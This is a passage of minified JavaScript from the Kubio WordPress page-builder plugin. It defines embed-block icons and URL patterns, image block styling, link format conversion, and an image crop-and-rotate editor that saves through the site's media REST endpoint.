1.08-1.08s-.483-1.08-1.08-1.08z"}))),Td={foreground:"#0073AA",src:Object(xe.createElement)(Le.SVG,{viewBox:"0 0 24 24"},Object(xe.createElement)(Le.G,null,Object(xe.createElement)(Le.Path,{d:"M12.158 12.786l-2.698 7.84c.806.236 1.657.365 2.54.365 1.047 0 2.05-.18 2.986-.51-.024-.037-.046-.078-.065-.123l-2.762-7.57zM3.008 12c0 3.56 2.07 6.634 5.068 8.092L3.788 8.342c-.5 1.117-.78 2.354-.78 3.658zm15.06-.454c0-1.112-.398-1.88-.74-2.48-.456-.74-.883-1.368-.883-2.11 0-.825.627-1.595 1.51-1.595.04 0 .078.006.116.008-1.598-1.464-3.73-2.36-6.07-2.36-3.14 0-5.904 1.613-7.512 4.053.21.008.41.012.58.012.94 0 2.395-.114 2.395-.114.484-.028.54.684.057.74 0 0-.487.058-1.03.086l3.275 9.74 1.968-5.902-1.4-3.838c-.485-.028-.944-.085-.944-.085-.486-.03-.43-.77.056-.742 0 0 1.484.114 2.368.114.94 0 2.397-.114 2.397-.114.486-.028.543.684.058.74 0 0-.488.058-1.03.086l3.25 9.665.897-2.997c.456-1.17.684-2.137.684-2.907zm1.82-3.86c.04.286.06.593.06.924 0 .912-.17 1.938-.683 3.22l-2.746 7.94c2.672-1.558 4.47-4.454 4.47-7.77 0-1.564-.4-3.033-1.1-4.314zM12 22C6.486 22 2 17.514 2 12S6.486 2 12 2s10 4.486 10 10-4.486 10-10 10z"})))},Sd={foreground:"#1db954",src:Object(xe.createElement)(Le.SVG,{viewBox:"0 0 24 24"},Object(xe.createElement)(Le.Path,{d:"M12 2C6.477 2 2 6.477 2 12s4.477 10 10 10 10-4.477 10-10S17.523 2 12 2m4.586 14.424c-.18.295-.563.387-.857.207-2.35-1.434-5.305-1.76-8.786-.963-.335.077-.67-.133-.746-.47-.077-.334.132-.67.47-.745 3.808-.87 7.076-.496 9.712 1.115.293.18.386.563.206.857M17.81 13.7c-.226.367-.706.482-1.072.257-2.687-1.652-6.785-2.13-9.965-1.166-.413.127-.848-.106-.973-.517-.125-.413.108-.848.52-.973 3.632-1.102 8.147-.568 11.234 1.328.366.226.48.707.256 1.072m.105-2.835C14.692 8.95 9.375 8.775 6.297 9.71c-.493.15-1.016-.13-1.166-.624-.148-.495.13-1.017.625-1.167 3.532-1.073 9.404-.866 13.115 1.337.445.264.59.838.327 1.282-.264.443-.838.59-1.282.325"}))},wd=Object(xe.createElement)(Le.SVG,{viewBox:"0 0 24 24"},Object(xe.createElement)(Le.Path,{d:"m6.5 7c-2.75 0-5 2.25-5 5s2.25 5 5 5 5-2.25 5-5-2.25-5-5-5zm11 0c-2.75 0-5 2.25-5 5s2.25 5 5 5 5-2.25 5-5-2.25-5-5-5z"})),Pd={foreground:"#1ab7ea",src:Object(xe.createElement)(Le.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(xe.createElement)(Le.G,null,Object(xe.createElement)(Le.Path,{d:"M22.396 7.164c-.093 2.026-1.507 4.8-4.245 8.32C15.323 19.16 12.93 21 10.97 21c-1.214 0-2.24-1.12-3.08-3.36-.56-2.052-1.118-4.105-1.68-6.158-.622-2.24-1.29-3.36-2.004-3.36-.156 0-.7.328-1.634.98l-.978-1.26c1.027-.903 2.04-1.806 3.037-2.71C6 3.95 7.03 3.328 7.716 3.265c1.62-.156 2.616.95 2.99 3.32.404 2.558.685 4.148.84 4.77.468 2.12.982 3.18 1.543 3.18.435 0 1.09-.687 1.963-2.064.872-1.376 1.34-2.422 1.402-3.142.125-1.187-.343-1.782-1.4-1.782-.5 0-1.013.115-1.542.34 1.023-3.35 2.977-4.976 5.862-4.883 2.14.063 3.148 1.45 3.024 4.16z"})))},Ad=Object(xe.createElement)(Le.SVG,{viewBox:"0 0 24 24"},Object(xe.createElement)(Le.Path,{d:"M22 11.816c0-1.256-1.02-2.277-2.277-2.277-.593 0-1.122.24-1.526.613-1.48-.965-3.455-1.594-5.647-1.69l1.17-3.702 3.18.75c.01 1.027.847 1.86 1.877 1.86 1.035 0 1.877-.84 1.877-1.877 0-1.035-.842-1.877-1.877-1.877-.77 0-1.43.466-1.72 1.13L13.55 3.92c-.204-.047-.4.067-.46.26l-1.35 4.27c-2.317.037-4.412.67-5.97 1.67-.402-.355-.917-.58-1.493-.58C3.02 9.54 2 10.56 2 11.815c0 .814.433 1.523 1.078 1.925-.037.222-.06.445-.06.673 0 3.292 4.01 5.97 8.94 5.97s8.94-2.678 8.94-5.97c0-.214-.02-.424-.052-.632.687-.39 1.154-1.12 1.154-1.964zm-3.224-7.422c.606 0 1.1.493 1.1 1.1s-.493 1.1-1.1 1.1-1.1-.494-1.1-1.1.493-1.1 1.1-1.1zm-16 7.422c0-.827.673-1.5 1.5-1.5.313 0 .598.103.838.27-.85.675-1.477 1.478-1.812 2.36-.32-.274-.525-.676-.525-1.13zm9.183 7.79c-4.502 0-8.165-2.33-8.165-5.193S7.457 9.22 11.96 9.22s8.163 2.33 8.163 5.193-3.663 5.193-8.164 5.193zM20.635 13c-.326-.89-.948-1.7-1.797-2.383.247-.186.55-.3.882-.3.827 0 1.5.672 1.5 1.5 0 .482-.23.91-.586 1.184zm-11.64 1.704c-.76 0-1.397-.616-1.397-1.376 0-.76.636-1.397 1.396-1.397.76 0 1.376.638 1.376 1.398 0 .76-.616 1.376-1.376 1.376zm7.405-1.376c0 .76-.615 1.376-1.375 1.376s-1.4-.616-1.4-1.376c0-.76.64-1.397 1.4-1.397.76 0 1.376.638 1.376 1.398zm-1.17 3.38c.15.152.15.398 0 .55-.675.674-1.728 1.002-3.22 1.002l-.01-.002-.012.002c-1.492 0-2.544-.328-3.218-1.002-.152-.152-.152-.398 0-.55.152-.152.4-.15.55 0 .52.52 1.394.775 2.67.775l.01.002.01-.002c1.276 0 2.15-.253 2.67-.775.15-.152.398-.152.55 0z"})),Bd={foreground:"#35465c",src:Object(xe.createElement)(Le.SVG,{viewBox:"0 0 24 24"},Object(xe.createElement)(Le.Path,{d:"M19 3H5a2 2 0 00-2 2v14c0 1.1.9 2 2 2h14a2 2 0 002-2V5a2 2 0 00-2-2zm-5.69 14.66c-2.72 0-3.1-1.9-3.1-3.16v-3.56H8.49V8.99c1.7-.62 2.54-1.99 2.64-2.87 0-.06.06-.41.06-.58h1.9v3.1h2.17v2.3h-2.18v3.1c0 .47.13 1.3 1.2 1.26h1.1v2.36c-1.01.02-2.07 0-2.07 0z"}))},Nd=Object(xe.createElement)(Le.SVG,{viewBox:"0 0 24 24"},Object(xe.createElement)(Le.Path,{d:"M18.42 14.58c-.51-.66-1.05-1.23-1.05-2.5V7.87c0-1.8.15-3.45-1.2-4.68-1.05-1.02-2.79-1.35-4.14-1.35-2.6 0-5.52.96-6.12 4.14-.06.36.18.54.4.57l2.66.3c.24-.03.42-.27.48-.5.24-1.12 1.17-1.63 2.2-1.63.56 0 1.22.21 1.55.7.4.56.33 1.31.33 1.97v.36c-1.59.18-3.66.27-5.16.93a4.63 4.63 0 0 0-2.93 4.44c0 2.82 1.8 4.23 4.1 4.23 1.95 0 3.03-.45 4.53-1.98.51.72.66 1.08 1.59 1.83.18.09.45.09.63-.1v.04l2.1-1.8c.24-.21.2-.48.03-.75zm-5.4-1.2c-.45.75-1.14 1.23-1.92 1.23-1.05 0-1.65-.81-1.65-1.98 0-2.31 2.1-2.73 4.08-2.73v.6c0 1.05.03 1.92-.5 2.88z"}),Object(xe.createElement)(Le.Path,{d:"M21.69 19.2a17.62 17.62 0 0 1-21.6-1.57c-.23-.2 0-.5.28-.33a23.88 23.88 0 0 0 20.93 1.3c.45-.19.84.3.39.6z"}),Object(xe.createElement)(Le.Path,{d:"M22.8 17.96c-.36-.45-2.22-.2-3.1-.12-.23.03-.3-.18-.05-.36 1.5-1.05 3.96-.75 4.26-.39.3.36-.1 2.82-1.5 4.02-.21.18-.42.1-.3-.15.3-.8 1.02-2.58.69-3z"})),xd=Object(xe.createElement)(Le.SVG,{viewBox:"0 0 24 24"},Object(xe.createElement)(Le.Path,{d:"m.0206909 21 19.8160091-13.07806 3.5831 6.20826z",fill:"#4bc7ee"}),Object(xe.createElement)(Le.Path,{d:"m23.7254 19.0205-10.1074-17.18468c-.6421-1.114428-1.7087-1.114428-2.3249 0l-11.2931 19.16418h22.5655c1.279 0 1.8019-.8905 1.1599-1.9795z",fill:"#d4cdcb"}),Object(xe.createElement)(Le.Path,{d:"m.0206909 21 15.2439091-16.38571 4.3029 7.32271z",fill:"#c3d82e"}),Object(xe.createElement)(Le.Path,{d:"m13.618 1.83582c-.6421-1.114428-1.7087-1.114428-2.3249 0l-11.2931 19.16418 15.2646-16.38573z",fill:"#e4ecb0"}),Object(xe.createElement)(Le.Path,{d:"m.0206909 21 19.5468091-9.063 1.6621 2.8344z",fill:"#209dbd"}),Object(xe.createElement)(Le.Path,{d:"m.0206909 21 17.9209091-11.82623 1.6259 2.76323z",fill:"#7cb3c9"})),Rd=Object(xe.createElement)(Le.SVG,{viewBox:"0 0 24 24"},Object(xe.createElement)(Le.Path,{d:"m12.1479 18.5957c-2.4949 0-4.28131-1.7558-4.28131-4.0658 0-2.2176 1.78641-4.0965 4.09651-4.0965 2.2793 0 4.0349 1.7864 4.0349 4.1581 0 2.2794-1.7556 4.0042-3.8501 4.0042zm8.3521-18.5957-4.5329 1v7c-1.1088-1.41691-2.8028-1.8787-4.8049-1.8787-2.09443 0-3.97329.76993-5.5133 2.27917-1.72483 1.66323-2.6489 3.78863-2.6489 6.16033 0 2.5873.98562 4.8049 2.89526 6.499 1.44763 1.2936 3.17251 1.9402 5.17454 1.9402 1.9713 0 3.4498-.5236 4.8973-1.9402v1.9402h4.5329c0-7.6359 0-15.3641 0-23z",fill:"#333436"})),Dd=[{name:"core-embed/twitter",settings:{title:Object(We.__)("Twitter","kubio"),icon:vd,keywords:["tweet",Object(We.__)("social","kubio")],description:Object(We.__)("Embed a tweet.","kubio")},patterns:[/^https?:\/\/(www\.)?twitter\.com\/.+/i]},{name:"core-embed/youtube",settings:{title:Object(We.__)("YouTube","kubio"),icon:_d,keywords:[Object(We.__)("music","kubio"),Object(We.__)("video","kubio")],description:Object(We.__)("Embed a YouTube video.","kubio")},patterns:[/^https?:\/\/((m|www)\.)?youtube\.com\/.+/i,/^https?:\/\/youtu\.be\/.+/i]},{name:"core-embed/facebook",settings:{title:Object(We.__)("Facebook","kubio"),icon:Cd,keywords:[Object(We.__)("social","kubio")],description:Object(We.__)("Embed a Facebook post.","kubio"),previewable:!1},patterns:[/^https?:\/\/www\.facebook.com\/.+/i]},{name:"core-embed/instagram",settings:{title:Object(We.__)("Instagram","kubio"),icon:Id,keywords:[Object(We.__)("image","kubio"),Object(We.__)("social","kubio")],description:Object(We.__)("Embed an Instagram post.","kubio")},patterns:[/^https?:\/\/(www\.)?instagr(\.am|am\.com)\/.+/i]},{name:"core-embed/wordpress",settings:{title:Object(We.__)("WordPress","kubio"),icon:Td,keywords:[Object(We.__)("post","kubio"),Object(We.__)("blog","kubio")],responsive:!1,description:Object(We.__)("Embed a WordPress post.","kubio")}},{name:"core-embed/soundcloud",settings:{title:Object(We.__)("SoundCloud","kubio"),icon:kd,keywords:[Object(We.__)("music","kubio"),Object(We.__)("audio","kubio")],description:Object(We.__)("Embed SoundCloud content.","kubio")},patterns:[/^https?:\/\/(www\.)?soundcloud\.com\/.+/i]},{name:"core-embed/spotify",settings:{title:Object(We.__)("Spotify","kubio"),icon:Sd,keywords:[Object(We.__)("music","kubio"),Object(We.__)("audio","kubio")],description:Object(We.__)("Embed Spotify content.","kubio")},patterns:[/^https?:\/\/(open|play)\.spotify\.com\/.+/i]},{name:"core-embed/flickr",settings:{title:Object(We.__)("Flickr","kubio"),icon:wd,keywords:[Object(We.__)("image","kubio")],description:Object(We.__)("Embed Flickr content.","kubio")},patterns:[/^https?:\/\/(www\.)?flickr\.com\/.+/i,/^https?:\/\/flic\.kr\/.+/i]},{name:"core-embed/vimeo",settings:{title:Object(We.__)("Vimeo","kubio"),icon:Pd,keywords:[Object(We.__)("video","kubio")],description:Object(We.__)("Embed a Vimeo video.","kubio")},patterns:[/^https?:\/\/(www\.)?vimeo\.com\/.+/i]}],Ld=[{name:"core-embed/animoto",settings:{title:Object(We.__)("Animoto","kubio"),icon:xd,description:Object(We.__)("Embed an Animoto video.","kubio")},patterns:[/^https?:\/\/(www\.)?(animoto|video214)\.com\/.+/i]},{name:"core-embed/cloudup",settings:{title:Object(We.__)("Cloudup","kubio"),icon:jd,description:Object(We.__)("Embed Cloudup content.","kubio")},patterns:[/^https?:\/\/cloudup\.com\/.+/i]},{name:"core-embed/collegehumor",settings:{title:Object(We.__)("CollegeHumor","kubio"),icon:fd,description:Object(We.__)("Embed CollegeHumor content.","kubio"),supports:{inserter:!1}},patterns:[]},{name:"core-embed/crowdsignal",settings:{title:Object(We.__)("Crowdsignal","kubio"),icon:jd,keywords:["polldaddy",Object(We.__)("survey","kubio")],transform:[{type:"block",blocks:["core-embed/polldaddy"],transform:e=>Object(Ge.createBlock)("core-embed/crowdsignal",{content:e})}],description:Object(We.__)("Embed Crowdsignal (formerly Polldaddy) content.","kubio")},patterns:[/^https?:\/\/((.+\.)?polldaddy\.com|poll\.fm|.+\.survey\.fm)\/.+/i]},{name:"core-embed/dailymotion",settings:{title:Object(We.__)("Dailymotion","kubio"),icon:Rd,keywords:[Object(We.__)("video","kubio")],description:Object(We.__)("Embed a Dailymotion video.","kubio")},patterns:[/^https?:\/\/(www\.)?dailymotion\.com\/.+/i]},{name:"core-embed/hulu",settings:{title:Object(We.__)("Hulu","kubio"),icon:fd,keywords:[Object(We.__)("video","kubio")],description:Object(We.__)("Embed Hulu content.","kubio")},patterns:[/^https?:\/\/(www\.)?hulu\.com\/.+/i]},{name:"core-embed/imgur",settings:{title:Object(We.__)("Imgur","kubio"),icon:Ed,description:Object(We.__)("Embed Imgur content.","kubio")},patterns:[/^https?:\/\/(.+\.)?imgur\.com\/.+/i]},{name:"core-embed/issuu",settings:{title:Object(We.__)("Issuu","kubio"),icon:jd,description:Object(We.__)("Embed Issuu content.","kubio")},patterns:[/^https?:\/\/(www\.)?issuu\.com\/.+/i]},{name:"core-embed/kickstarter",settings:{title:Object(We.__)("Kickstarter","kubio"),icon:jd,description:Object(We.__)("Embed Kickstarter content.","kubio")},patterns:[/^https?:\/\/(www\.)?kickstarter\.com\/.+/i,/^https?:\/\/kck\.st\/.+/i]},{name:"core-embed/meetup-com",settings:{title:Object(We.__)("Meetup.com","kubio"),icon:jd,description:Object(We.__)("Embed Meetup.com content.","kubio")},patterns:[/^https?:\/\/(www\.)?meetu(\.ps|p\.com)\/.+/i]},{name:"core-embed/mixcloud",settings:{title:Object(We.__)("Mixcloud","kubio"),icon:kd,keywords:[Object(We.__)("music","kubio"),Object(We.__)("audio","kubio")],description:Object(We.__)("Embed Mixcloud content.","kubio")},patterns:[/^https?:\/\/(www\.)?mixcloud\.com\/.+/i]},{name:"core-embed/polldaddy",settings:{title:Object(We.__)("Polldaddy","kubio"),icon:jd,description:Object(We.__)("Embed Polldaddy content.","kubio"),supports:{inserter:!1}},patterns:[]},{name:"core-embed/reddit",settings:{title:Object(We.__)("Reddit","kubio"),icon:Ad,description:Object(We.__)("Embed a Reddit thread.","kubio")},patterns:[/^https?:\/\/(www\.)?reddit\.com\/.+/i]},{name:"core-embed/reverbnation",settings:{title:Object(We.__)("ReverbNation","kubio"),icon:kd,description:Object(We.__)("Embed ReverbNation content.","kubio")},patterns:[/^https?:\/\/(www\.)?reverbnation\.com\/.+/i]},{name:"core-embed/screencast",settings:{title:Object(We.__)("Screencast","kubio"),icon:fd,description:Object(We.__)("Embed Screencast content.","kubio")},patterns:[/^https?:\/\/(www\.)?screencast\.com\/.+/i]},{name:"core-embed/scribd",settings:{title:Object(We.__)("Scribd","kubio"),icon:jd,description:Object(We.__)("Embed Scribd content.","kubio")},patterns:[/^https?:\/\/(www\.)?scribd\.com\/.+/i]},{name:"core-embed/slideshare",settings:{title:Object(We.__)("Slideshare","kubio"),icon:jd,description:Object(We.__)("Embed Slideshare content.","kubio")},patterns:[/^https?:\/\/(.+?\.)?slideshare\.net\/.+/i]},{name:"core-embed/smugmug",settings:{title:Object(We.__)("SmugMug","kubio"),icon:Ed,description:Object(We.__)("Embed SmugMug content.","kubio"),previewable:!1},patterns:[/^https?:\/\/(.+\.)?smugmug\.com\/.*/i]},{name:"core-embed/speaker",settings:{title:Object(We.__)("Speaker","kubio"),icon:kd,supports:{inserter:!1}},patterns:[]},{name:"core-embed/speaker-deck",settings:{title:Object(We.__)("Speaker Deck","kubio"),icon:jd,transform:[{type:"block",blocks:["core-embed/speaker"],transform:e=>Object(Ge.createBlock)("core-embed/speaker-deck",{content:e})}],description:Object(We.__)("Embed Speaker Deck content.","kubio")},patterns:[/^https?:\/\/(www\.)?speakerdeck\.com\/.+/i]},{name:"core-embed/tiktok",settings:{title:Object(We.__)("TikTok","kubio"),icon:fd,keywords:[Object(We.__)("video","kubio")],description:Object(We.__)("Embed a TikTok video.","kubio")},patterns:[/^https?:\/\/(www\.)?tiktok\.com\/.+/i]},{name:"core-embed/ted",settings:{title:Object(We.__)("TED","kubio"),icon:fd,description:Object(We.__)("Embed a TED video.","kubio")},patterns:[/^https?:\/\/(www\.|embed\.)?ted\.com\/.+/i]},{name:"core-embed/tumblr",settings:{title:Object(We.__)("Tumblr","kubio"),icon:Bd,keywords:[Object(We.__)("social","kubio")],description:Object(We.__)("Embed a Tumblr post.","kubio")},patterns:[/^https?:\/\/(www\.)?tumblr\.com\/.+/i]},{name:"core-embed/videopress",settings:{title:Object(We.__)("VideoPress","kubio"),icon:fd,keywords:[Object(We.__)("video","kubio")],description:Object(We.__)("Embed a VideoPress video.","kubio")},patterns:[/^https?:\/\/videopress\.com\/.+/i]},{name:"core-embed/wordpress-tv",settings:{title:Object(We.__)("WordPress.tv","kubio"),icon:fd,description:Object(We.__)("Embed a WordPress.tv video.","kubio")},patterns:[/^https?:\/\/wordpress\.tv\/.+/i]},{name:"core-embed/amazon-kindle",settings:{title:Object(We.__)("Amazon Kindle","kubio"),icon:Nd,keywords:[Object(We.__)("ebook","kubio")],responsive:!1,description:Object(We.__)("Embed Amazon Kindle content.","kubio")},patterns:[/^https?:\/\/([a-z0-9-]+\.)?(amazon|amzn)(\.[a-z]{2,4})+\/.+/i,/^https?:\/\/(www\.)?(a\.co|z\.cn)\/.+/i]}],Md=[{ratio:"2.33",className:"wp-embed-aspect-21-9"},{ratio:"2.00",className:"wp-embed-aspect-18-9"},{ratio:"1.78",className:"wp-embed-aspect-16-9"},{ratio:"1.33",className:"wp-embed-aspect-4-3"},{ratio:"1.00",className:"wp-embed-aspect-1-1"},{ratio:"0.56",className:"wp-embed-aspect-9-16"},{ratio:"0.50",className:"wp-embed-aspect-1-2"}],Wd="core/embed",Hd="core-embed/wordpress";var Gd=o(322),Ud=o.n(Gd),Fd=o(75);const zd=function(e){return(arguments.length>1&&void 0!==arguments[1]?arguments[1]:[]).some((t=>e.match(t)))},Vd=e=>Object(Be.includes)(e,'class="wp-embedded-content"');o.n(Fd)()((function(e,t,o,n){let a=!(arguments.length>4&&void 0!==arguments[4])||arguments[4];if(!e)return{};const l={};let{type:r="rich"}=e;const{html:i,provider_name:c}=e,s=Object(Be.kebabCase)(Object(Be.toLower)(""!==c?c:t));return Vd(i)&&(r="wp-embed"),(i||"photo"===r)&&(l.type=r,l.providerNameSlug=s),l.className=function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"",o=!(arguments.length>2&&void 0!==arguments[2])||arguments[2];if(!o){const e={"wp-has-aspect-ratio":!1};for(let t=0;t<Md.length;t++)e[Md[t].className]=!1;return Ud()(t,e)}const n=document.implementation.createHTMLDocument("");n.body.innerHTML=e;const a=n.body.querySelector("iframe");if(a&&a.height&&a.width){const e=(a.width/a.height).toFixed(2);for(let n=0;n<Md.length;n++){const a=Md[n];if(e>=a.ratio)return Ud()(t,{[a.className]:o,"wp-has-aspect-ratio":o})}}return t}(i,o,n&&a),l}));const Yd="outer",$d="image",Kd="overlay",qd="caption",Xd="frameImage",Qd="frameContainer",Zd={[Yd]:{label:Object(We.__)("Container","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING],states:cn.StatesPresetsEnum.BASIC}},[$d]:{label:Object(We.__)("Image","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING],states:cn.StatesPresetsEnum.BASIC,filters:{[cn.StylesEnum.BORDER]:{styleOthers:[Xd,Kd]}}}},[qd]:{label:Object(We.__)("Caption","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING,cn.StylesEnum.TYPOGRAPHY],states:cn.StatesPresetsEnum.BASIC}}},Jd=e=>{let{computed:t}=e;const{alt:o,sizeSlug:n,frameType:a}=t;return{[Yd]:{className:()=>({[`size-${n}`]:n})},[$d]:{src:null==t?void 0:t.url,alt:o},[Xd]:{className:()=>({[`frame-type-${a}`]:a})}}},eh=["url","alt","id","caption","captionEnabled","sizeSlug","link"],th=(e,t)=>{const o=Object(tl.useInheritedTextAlign)();return Object(xe.useMemo)((()=>{const t=e.getAttributes(eh),n=e.getAttribute("align",o),a=e.getStyle("background.overlay",{},{styledComponent:"overlay"}),l=Ne.a.get(a,"enabled");return{...t,align:n,showFrameImage:e.getPropInMedia("frame.enabled"),overlayEnabled:l,overlayBackground:a,frameType:e.getPropInMedia("frame.type")}}),[e,o])},oh=(Object(Me.compose)(Object(He.withColibriData)(th),Object(He.withStyledElements)(Jd))((e=>{let{StyledElements:t,computed:o}=e;const{caption:n,captionEnabled:a,link:l,showFrameImage:r,overlayEnabled:i,overlayBackground:c}=o;return Object(xe.createElement)(t.Outer,null,Object(xe.createElement)(t.CaptionContainer,null,Object(xe.createElement)(Re.LinkWrapper,{link:l},Object(xe.createElement)(t.FrameContainer,null,i&&Object(xe.createElement)(t.Overlay,null,Object(xe.createElement)(He.BackgroundOverlay,{value:c})),Object(xe.createElement)(t.Image,null),r&&Object(xe.createElement)(t.FrameImage,null))),Object(xe.createElement)(t.Caption,{shouldRender:a},n)))})),[{label:Object(We.__)("PX","kubio"),value:"px"}]),nh=[{label:Object(We.__)("%","kubio"),value:"%"}],ah={BORDER:"border",BACKGROUND:"background"},lh=[{label:Object(We.__)("Border","kubio"),value:ah.BORDER},{label:Object(We.__)("Background","kubio"),value:ah.BACKGROUND}],rh={units:[{label:Object(We.__)("PX","kubio"),value:"px"}],unitsSettings:{px:{min:0,max:300,step:1}}};class ih{constructor(e){let{colibriLink:t,gutenbergLink:o}=e;this.linkValues=Re.LinkConfig.linkOpen.values,t&&(this.colibriLink=t),o&&(this.gutenbergLink=o)}convertGutenbergToColibri(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const t={};return Ne.a.each(e,((e,o)=>{switch(o){case"href":Ne.a.set(t,"value",e);break;case"linkTarget":let o=null;o="_blank"===e?this.linkValues.NEW_WINDOW:this.linkValues.SAME_WINDOW,Ne.a.set(t,"typeOpenLink",o);break;case"linkDestination":Ne.a.set(t,"linkDestination",e)}})),t}convertColibriToGutenberg(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const t={};return Ne.a.each(e,((e,o)=>{switch(o){case"value":Ne.a.set(t,"href",e);break;case"typeOpenLink":let o=null;e===this.linkValues.NEW_WINDOW&&(o="_blank"),Ne.a.set(t,"linkTarget",o);break;case"linkDestination":Ne.a.set(t,"linkDestination",e)}})),t}get linkForGutenberg(){return this.gutenbergLink||(this.gutenbergLink=this.convertColibriToGutenberg(this.colibriLink)),this.gutenbergLink}get linkForColibri(){return this.colibriLink||(this.colibriLink=this.convertGutenbergToColibri(this.gutenbergLink)),this.colibriLink}}const ch={opacityOptions:{min:0,max:1,step:.01},rotationSettings:{min:-180,max:180,step:1},borderThickenessOptions:{min:0,max:10,step:1},borderRadiusOptions:{min:0,max:300,step:1},dimensionsUnits:oh,marginTopOptions:{min:0,max:100,step:1},textAlignOptions:"center",frameTypeValues:ah,frameTypeOptions:lh,procentUnits:nh,procentUnitsOptions:{min:0,max:100,step:1},frameThicknessOptions:{min:1,max:50,step:1},frameOffsetTransformOptions:{min:-100,max:100,step:1},customSize:rh};var sh=o(273),uh=o(431),ph=o(222),bh=o(432);const mh=100,dh=300,hh={position:"bottom right",isAlternate:!0};function Oh(e){let{aspectRatios:t,isDisabled:o,label:n,onClick:a,value:l}=e;return Object(xe.createElement)(Le.MenuGroup,{label:n},t.map((e=>{let{title:t,aspect:n}=e;return Object(xe.createElement)(Le.MenuItem,{key:n,disabled:o,onClick:()=>{a(n)},role:"menuitemradio",isSelected:n===l,icon:n===l?sh.a:void 0},t)})))}function gh(e){let{toggleProps:t,isDisabled:o,onClick:n,value:a,defaultValue:l}=e;return Object(xe.createElement)(Le.DropdownMenu,{icon:uh.a,label:Object(We.__)("Aspect Ratio","kubio"),popoverProps:hh,toggleProps:t,className:"wp-block-image__aspect-ratio"},(e=>{let{onClose:t}=e;return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Oh,{isDisabled:o,onClick:e=>{n(e),t()},value:a,aspectRatios:[{title:Object(We.__)("Original","kubio"),aspect:l},{title:Object(We.__)("Square","kubio"),aspect:1}]}),Object(xe.createElement)(Oh,{label:Object(We.__)("Landscape","kubio"),isDisabled:o,onClick:e=>{n(e),t()},value:a,aspectRatios:[{title:Object(We.__)("16:10","kubio"),aspect:1.6},{title:Object(We.__)("16:9","kubio"),aspect:16/9},{title:Object(We.__)("4:3","kubio"),aspect:4/3},{title:Object(We.__)("3:2","kubio"),aspect:1.5}]}),Object(xe.createElement)(Oh,{label:Object(We.__)("Portrait","kubio"),isDisabled:o,onClick:e=>{n(e),t()},value:a,aspectRatios:[{title:Object(We.__)("10:16","kubio"),aspect:.625},{title:Object(We.__)("9:16","kubio"),aspect:9/16},{title:Object(We.__)("3:4","kubio"),aspect:3/4},{title:Object(We.__)("2:3","kubio"),aspect:2/3}]}))}))}function yh(e){let{id:t,url:o,setAttributes:n,naturalWidth:a,naturalHeight:l,width:r,height:i,clientWidth:c,setIsEditingImage:s,currentSlug:u,ownerDocument:p=document}=e;const{createErrorNotice:b}=Object(Ve.useDispatch)("core/notices"),[m,d]=Object(xe.useState)(!1),[h,O]=Object(xe.useState)(null),[g,y]=Object(xe.useState)({x:0,y:0}),[j,k]=Object(xe.useState)(100),[E,f]=Object(xe.useState)(a/l),[v,_]=Object(xe.useState)(0),[C,I]=Object(xe.useState)(),T=r;let S=i||c*l/a,w=a/l;v%180==90&&(S=c*a/l,w=l/a);const P=Object(xe.useCallback)((e=>{let t=e.source_url;u&&(t=Ne.a.get(e,["media_details","sizes",u,"source_url"])),n({id:e.id,url:t,height:i&&r?r/E:void 0})}),[u,i,r,E]);return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)("div",{className:$e()("wp-block-image__crop-area",{"is-applying":m}),style:{width:T,height:S}},Object(xe.createElement)(Re.Cropper,{image:C||o,disabled:m,minZoom:mh/100,maxZoom:dh/100,crop:g,zoom:j/100,aspect:E,onCropChange:y,onCropComplete:e=>{O(e)},onZoomChange:e=>{k(100*e)},ownerDocument:p}),m&&Object(xe.createElement)(Le.Spinner,null)),Object(xe.createElement)(De.BlockControls,null,Object(xe.createElement)(Le.ToolbarGroup,null,Object(xe.createElement)(Le.Dropdown,{contentClassName:"wp-block-image__zoom",popoverProps:hh,renderToggle:e=>{let{isOpen:t,onToggle:o}=e;return Object(xe.createElement)(Le.ToolbarButton,{icon:ph.a,label:Object(We.__)("Zoom","kubio"),onClick:o,"aria-expanded":t,disabled:m})},renderContent:()=>Object(xe.createElement)(Le.RangeControl,{min:mh,max:dh,label:Object(We.__)("Zoom","kubio"),value:Math.round(j),onChange:k})}),Object(xe.createElement)(Le.ToolbarItem,null,(e=>Object(xe.createElement)(gh,{toggleProps:e,isDisabled:m,onClick:f,value:E,defaultValue:a/l})))),Object(xe.createElement)(Le.ToolbarGroup,null,Object(xe.createElement)(Le.ToolbarButton,{icon:bh.a,label:Object(We.__)("Rotate","kubio"),onClick:function(){const e=(v+90)%360;if(0===e)return I(),_(e),f(1/E),void y({x:-g.y*w,y:g.x*w});const t=new window.Image;t.src=o,t.onload=function(t){const o=document.createElement("canvas");let n=0,a=0;e%180?(o.width=t.target.height,o.height=t.target.width):(o.width=t.target.width,o.height=t.target.height),90!==e&&180!==e||(n=o.width),270!==e&&180!==e||(a=o.height);const l=o.getContext("2d");l.translate(n,a),l.rotate(e*Math.PI/180),l.drawImage(t.target,0,0),o.toBlob((t=>{I(URL.createObjectURL(t)),_(e),f(1/E),y({x:-g.y*w,y:g.x*w})}))}},disabled:m})),Object(xe.createElement)(Le.ToolbarGroup,null,Object(xe.createElement)(Le.ToolbarButton,{onClick:function(){d(!0);let e={};(h.width<99.9||h.height<99.9)&&(e=h),v>0&&(e.rotation=v),e.src=o,kl()({path:`/wp/v2/media/${t}/edit`,method:"POST",data:e}).then(P).catch((e=>{b(Object(We.sprintf)(/* translators: 1. Error message */Object(We.__)("Could not edit image. %s","kubio"),e.message),{id:"image-editing-error",type:"snackbar"})})).finally((()=>{d(!1),s(!1)}))},disabled:m},Object(We.__)("Apply","kubio")),Object(xe.createElement)(Le.ToolbarButton,{onClick:()=>s(!1)},Object(We.__)("Cancel","kubio")))))}const jh=e=>{let{computed:t}=e;const{withDataBinds:o}=t;return 